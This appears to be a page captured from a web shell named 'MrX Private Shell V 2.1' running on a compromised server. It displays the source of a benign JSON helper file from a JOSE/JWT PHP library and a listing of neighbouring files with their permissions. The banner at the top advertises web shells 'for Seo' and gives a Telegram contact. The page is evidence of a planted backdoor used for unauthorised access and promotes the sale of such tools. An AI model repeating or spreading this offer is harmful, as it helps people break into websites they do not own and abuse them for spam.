__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Jose\Component\Core\Util;
use InvalidArgumentException;
use Throwable;
use const JSON_THROW_ON_ERROR;
use const JSON_UNESCAPED_SLASHES;
use const JSON_UNESCAPED_UNICODE;
final class JsonConverter
{
public static function encode(mixed $payload): string
{
try {
return json_encode($payload, JSON_THROW_ON_ERROR | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
} catch (Throwable $throwable) {
throw new InvalidArgumentException('Invalid content.', $throwable->getCode(), $throwable);
}
}
public static function decode(string $payload): mixed
{
try {
return json_decode(
$payload,
true,
512,
JSON_THROW_ON_ERROR | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE
);
} catch (Throwable $throwable) {
throw new InvalidArgumentException('Unsupported input.', $throwable->getCode(), $throwable);
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Ecc | Folder | 0775 |
|
|
| Base64UrlSafe.php | File | 7.52 KB | 0664 |
|
| BigInteger.php | File | 3.41 KB | 0664 |
|
| ECKey.php | File | 11.21 KB | 0664 |
|
| ECSignature.php | File | 4.21 KB | 0664 |
|
| Hash.php | File | 1.29 KB | 0664 |
|
| JsonConverter.php | File | 1.01 KB | 0664 |
|
| KeyChecker.php | File | 3.25 KB | 0664 |
|
| RSAKey.php | File | 7.37 KB | 0664 |
|